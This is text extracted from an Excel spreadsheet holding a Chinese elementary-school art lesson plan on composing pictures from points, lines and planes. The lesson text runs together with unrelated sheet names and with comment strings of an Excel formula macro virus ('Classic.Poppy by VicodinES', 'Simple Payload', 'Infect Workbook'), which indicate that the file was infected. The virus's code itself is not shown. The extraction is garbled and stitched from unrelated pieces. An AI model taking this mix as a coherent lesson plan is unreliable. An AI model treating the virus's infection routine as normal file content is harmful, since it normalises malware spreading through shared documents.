点线面的构成.xlsVIP

vl8TI4zo Sheet3 Sheet2 Sheet1 aiu_bottom Bust Continue Document_array Documents_array FRC Hello hostfee hraiu_bottom hvac HWSheet 1.00 km10 MakeIt Module.Prix_SMC Morning OS PA7 PA8 PD1 PE12 PE13 PE6 PE7 PE8 PE9 PH1 PI1 PK1 PK3 Poppy pr_toolbox Prix_SMC s_c_list SCG sdlfee solar_ratio ss7fee subsfee toolbox V5.1Fee Z32_Cost_red 老街 现代远程教育项目示范教案 学校名称 教材内容 教师姓名 计划学时 授课年级 媒体选择 学科 教学目标 教学重点、难点 学生分析 教学过程 教学环节 教师活动 学生活动 媒体资源应用设计意图 引导新课 巩固知识 课后作业 课后小结 Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 都龙小学 左光顺 五年级 课件 美术 新 课 学 习 谈话导入新课 点、线、面的构成.xls 点、线、面的构成 1、让学生认识简单的平面构成的要素。2、培养学生动手动脑能力。3、培养学生热爱大自然，走进大自然、观察大自然的习惯。 培养学生热爱大自然，走进大自然、观察大自然的习惯。 五年级对于点、线、面的理解应该是足够，只是在画面上如何应用点、线、面来表现还有待于学习。 学生认真听讲 出示课件点、线、面构成的图片。提问，这些画面都有什么组成？ 学生观察并回答问题 了解点、线、面是构成一幅画面的基本元素。 出示课件点构成的图片。提问，这张画面主要由哪一种构成？ 出示课件线构成的图片。提问，这张画面主要由哪一种构成？ 出示课件面构成的图片。提问，这张画面主要由哪一种构成？ 出示课件点、线、面的分解及定义视图 学生观察 进一步了解点、线、面的规律和定义。 综合利用点、线、面三种形态设计一幅具象或抽象的平面构成图形。 请从左图中任选一幅作品，分析它的构成特点。 出示参考图片，再次让学生理解和回顾本机课讲述是要点。 3.00 ?2011?/?11?/?2 1.00